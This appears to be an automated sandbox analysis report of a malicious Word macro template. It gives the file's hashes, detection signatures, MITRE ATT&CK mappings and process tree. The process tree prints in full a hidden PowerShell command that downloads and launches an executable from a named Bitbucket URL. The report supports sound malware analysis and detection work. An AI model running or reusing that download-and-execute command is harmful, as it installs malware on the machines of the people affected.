7a3b1e9c8df660dc1c1cf9b17411c1d6a4ffca364712c5de8ac46b1199ece1ce

Analysis

max time kernel
132s
max time network
38s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
11-11-2024 02:36

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General

Target

fffffffnew.dotm
Size

16KB
MD5

56265082f8036943f8aa659cda6b4b6f
SHA1

4b4c75a574e7bc18117cecfe8cad64205097ec43
SHA256

4adf62e4e36861567206126d6ef1a1d59bf169f9c72cde72dad9a3bfe0c09faf
SHA512

33792ecfeaf686435db9d6537b8e99d74b08198c198e3357b0b6ba324f7c5eb410060a34e64b2a09aa3b20f9a7b459ae6b13670abb4e03550ffb79fb0e155c2d
SSDEEP

384:tmtLW4BPok2xSxCyX+ZKC78qN9j6akwLWdxdA97YB3H/:qa4Bn2xzyX+383akw6L2M9

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bitbucket.org/damnman/damn/downloads/PUMPED_docc.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2920	2900	powershell.exe	28

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2920	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2900	WINWORD.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2900	WINWORD.EXE
2900	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 2724	2900	WINWORD.EXE	31
PID 2900 wrote to memory of 2724	2900	WINWORD.EXE	31
PID 2900 wrote to memory of 2724	2900	WINWORD.EXE	31
PID 2900 wrote to memory of 2724	2900	WINWORD.EXE	31

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fffffffnew.dotm"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Users\Admin\AppData\Local\Temp\powershell.exe
  powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/damnman/damn/downloads/PUMPED_docc.exe','2d21412.exe');Start-Process '2d21412.exe'
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  PID:2920
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2900-0-0x000000002FA51000-0x000000002FA52000-memory.dmp

Filesize
4KB

Download
memory/2900-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2900-2-0x0000000070B3D000-0x0000000070B48000-memory.dmp

Filesize
44KB

Download
memory/2900-6-0x0000000004F00000-0x0000000005000000-memory.dmp

Filesize
1024KB

Download
memory/2900-11-0x0000000004F00000-0x0000000005000000-memory.dmp

Filesize
1024KB

Download
memory/2900-13-0x0000000070B3D000-0x0000000070B48000-memory.dmp

Filesize
44KB

Download
memory/2900-14-0x0000000004F00000-0x0000000005000000-memory.dmp

Filesize
1024KB

Download